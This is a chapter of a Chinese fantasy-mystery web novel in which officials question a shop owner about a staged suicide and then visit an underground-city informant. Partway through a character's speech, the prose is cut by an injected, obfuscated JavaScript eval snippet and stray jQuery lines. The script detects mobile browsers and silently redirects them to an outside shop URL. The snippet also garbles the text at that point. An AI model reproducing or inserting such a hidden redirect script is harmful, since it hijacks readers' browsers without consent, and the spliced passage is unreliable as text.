青木蹲守至县门,等待亥时初的到来。
今夜夜色如墨,深沉中透着一丝诡异,刚至亥时,月亮便悄悄躲进了云层里,而后,一层厚重的白雾悄然蔓延开来,将桃州县笼罩在内。
四周是一片寂静的白,强势挤进黑夜中,染白,染静,染成淡淡死寂。
青木拿出司界提前准备好的面罩戴上,点燃火折子,将引路烟点燃。
随着淡红色的引路烟飘进白雾中,雾气渐渐散了些,将他身前的空地显现出来。
一位大红色的身影静静躺在空地上,嘴角正涌出鲜血,眼睛死死盯着青木,手在地上抓出一道道深深的印痕,指甲劈裂开。
青木举着引路烟默默看着,丝毫没有上前救助的意思。
他就隐匿在丛中,任由引路烟暴露他的位置。
“救,救救我......”
地上那人出声,青木才恍若初醒般将目光落在她的四周,观察有无埋伏,有无可以用的东西,随后咧开嘴一笑。
“啊,真是不好意思,没法救你,要不等等,等我要等的人来了,我再救你?”
那人动作一顿,吐出的血都少了一些,眉毛狠狠皱了起来,不理解青木在说什么胡话。
就她这样,看起来像是能等到人的命吗?
“救,救我!”
那人声音大了一些,眼睛也瞪得更大了,焦急的催促着。
“说了我等的人还没来,你若是等不及了,干脆眼睛一闭好了,真是没有耐心。”
青木嫌弃的扇了扇飘至眼前的淡红色烟雾,转身边走。
在他转身的瞬间,地上那人猛地一个起跳,留着鲜血的断指朝他的后脖颈抓来,带着凌厉的风,力道十足。
“啊!”
青木随手持扇挡了一下,那人便尖叫一声,捂着手倒在了地上。
她凶狠的看着青木将染血的刺一根根擦干净,而后展开扇子,往她脸上温柔的扇了扇。
“说了我等的人还没来,不要着急。”
淡红色的引路烟渐渐将白雾逼退,显现出桃州县的全景。
今夜的月色很美,带着柔和的光,轻轻落在地上。
一位红衣女子站在青木面前,神情似悲悯,似怜惜,望着青木摇了摇头。
“我等的人到了。”
“跟我走一趟,大理寺少卿有请。”
站在县衙内,红衣女子依旧是一副菩萨心肠般良善的模样,望着在座众人,有些遗憾的叹着气。
半晌,她从袖中拿出一串佛珠,一边念诵佛经,一边缓缓将眼神落在夏渝身上。
“这位大人,或许有些来头。”
夏渝听着佛经眼皮子直打架,感觉回到了在学校听课的时候,眼睛一闭一睁就下课了。
闻言,她提了些精神,理了理手中的信息。
青木临近出发前,被江山缠着准备了好些东西,护身的,解迷烟的,防妖邪的,统统都带上了。
他好像知晓内情,一个劲的叮嘱一定不要听躺在地上的红衣女子的话,她说什么便反着做,她干什么都不要看,碰见白雾就燃引路烟,碰见红雾就燃油灯。
青木出门后,他不顾疼到发颤的身子,坐在门口倔强的等着,直到青木带着红衣女人回来,方才老老实实躺回了房间。
有夏渝这个穿越人士打头阵,知晓内情的几人对奇怪的人见怪不怪了,甚至有闲心打趣两句,其余的人见大人们神色如常,也摆出一副见过大风大浪的模样。
“如花成衣店的店主是吧,你和那位去京城的衙役是什么关系?”
最近一段时间,去过京城的衙役有好几位,死了的就那一位,好认的很。
店主转着佛珠,收回视线,一言不发。
“你身上的嫁衣是为他穿的吧?”
“让我想想,跟着一个去京城偷欢的男人,以你的本事,应当是在图他的好身子,待他一死,你便有理由将身子拖去地下城买卖,而后用换得的冥币与天道谈判,是吧?”
夏渝这番话说的冷淡又坚定,字字句句带着对江山的信任。
扒拉在门口偷听的江山闻言咬着手指,感动的眼泪汪汪,探出一颗脑袋,激动的看着夏渝。
终于,终于有人信我了!
店主转动佛珠的手指顿了顿,将佛珠随意收回袖子内,默默点了点头。
“没有什么好反驳的,您说的都是事实。”
她的神情由悲悯转变为痛苦,看着夏渝,露出被扇子尖刺划破的手掌。
“这就是我的报应,人在做,天在看,我无非是爱上了一个心中没我的男人,他偷欢,他背叛,他该死。”
“而我,替天行道,现在也接受了惩罚。”
出乎意料的,店主格外配合,问什么答什么,甚至将犯罪证据都交代的清清楚楚,一点没为难衙役们。
夏渝疑惑的看向谢怀玉,挑了挑眉,而后将衙役的画像递给了店主。
“辨认一下,你确定是这个人。”
“是。”
“伪装成自杀是一种极为简单的方式,我一直都是干这个的,只需要控制他的脑袋,将他的四肢装上骨钉便可。”
店主说着,声音突然停顿,淡然的脸上露出笑容,一瞬间从阴郁变为开朗。
“怎么样,一个荷包,吓到你们了吧,那个躺在地上的是我养的孩子,平日里可听话了,让杀谁杀谁,让吃谁吃谁,只有呆在我身边,她是自由的,是活泼的,是快乐的。”
店主说话有些语无伦次,属于是梦到哪句说哪句。
“大人,做人最重要的是讲良心,你若不会,我可以手把手的教,直至你能独立审案......”
巴拉巴拉的,跟喝了假酒一样。
夏渝挥挥手,示意衙役将人带走,而后将江山唤了进来。
“你对她的了解深吗?”
江山点点头,斟酌了一下词句道。
“在这里一时半会说不清,要不你们跟我走地下河去地下城一趟吧。”
谢怀玉记录的手轻轻用力,将重点的消息划拉出来,留顾景深在桃州坐镇,他带着夏渝乔装打扮一番后去往地下城。
带着人到了河边,他指着一块有些奇形怪状的石头道。
“看这,便是她的出生地。在外她是如花成衣店的店主,在内她是百事通的神经妹妹,一出生便不爱哭,直勾勾盯着好看的男子,神色瘆人,充满占有。”
“等到她会说话后,仗着家里宠她,便开始无法无天起来,捡起不知道是谁丢在她家门口的佛珠,摆出一副菩萨样,实则心肠狠毒,要我说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216764|192113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她就是有病,只是没有人敢带着她去看大夫。”
顺着河流往下走,路从凹凸不平的石头路,变为了木板路。
发霉的木头缝隙中长出了不少淡绿色的花草,混着青苔将走过的行人滑一激灵。
江山紧张的攥着衣袖,咬着牙带着两人往百事通的住处走。
谢怀玉跟他自我介绍后,便用一种非常慈爱的目光看着他,带着他不熟悉的打量与戒备。
像是将他当成了脑子不好使的小孩。
江山有些焦急,也有些伤心。
伤还没好,他便迫不及待想带他俩解决这个问题。
他知道,只有将幕后黑手抓出来,才能有机会扳倒天道。
“这里是地下河的特殊通道,由百事通亲手建造,初期用来传递消息,后期用来惩罚不守规矩的叛徒,河底下堆满了绑着石头的白骨,小心些,不要摔倒了。”
江山解释着,将地下的青苔划拉两下,露出被潮气熏得有些发软的木头,踩上去有着涩涩的摩擦声。
“与其问那店主,不如直接问百事通,他知晓的消息更多,且只要拿捏了他妹妹,不管问什么消息都不收银子,只要保证她过得好就行。”
“呐,里头就是。”
地下城百事通向来只闻其人不见其形,夏渝刚进他住处,便感受到了一股暖气,带着柔和的风,飘在她脸颊上。
“这几位大人,有何贵干?”
见到他人后,夏渝被眼前的美男吓了一跳,差点拔出软剑对砍。
“怎么会是萧居棠的脸啊!”
有点恐怖了。
百事通被她吓一跳的动作吓了一跳,拍着胸脯安抚着扑通乱跳的心。
“我本来就长这样,夏理正,您这一惊一乍的将我也吓了一跳。”
他抬手丢出一本卷宗,颤抖着声音道。
“拿去吧,就当给我妹妹赎罪了,你们想知晓的都在里面,杀害徐县令的凶手我已经派人抓着送去县衙了,估摸着这时候已经送到了。”
谢怀玉接住卷宗,随意翻看了两下,面色不善的盯着百事通,见他一脸的惊恐,打量的视线慢慢落到了他的住处。
作为大庸消息集大成者,有情郎的消息都得经过他手,地位之高,堪比圣上在大庸,天道在这个世界。
本以为他的住处会极尽奢靡,却意外的简陋,一张破木板床,几个大水缸,一套桌椅,半扇屏风,几个打开的空箱子,墙体泛黄,透着一股子陈旧的霉味,看起来有些寒碜。
百事通无力的挥了挥手,捂着砰砰直跳的心赶人。
“别打量了,我也只是个普通人,你们爱干嘛干嘛,别呆在我这,我妹妹活了这么些年也够了,你们按规矩办就行,其他想知晓的,我能告诉你们的,都写在这上头了,自己慢慢看,有事没事都别来找我。”
他说一句话大喘气一下,好像说话对他来说是一件极其困难的事,会令他头脑发昏,心慌气短。
三人迅速来,迅速走,留百事通瘫坐在椅子上,望着水缸出神。
滴答一声响。
一滴水珠凭空出现,落在已经空了的水缸中。
百事通吓一跳,又捂住心口,闭着眼睛不敢看。
“是你把人放来的,现在又来威胁我,天道你下贱!”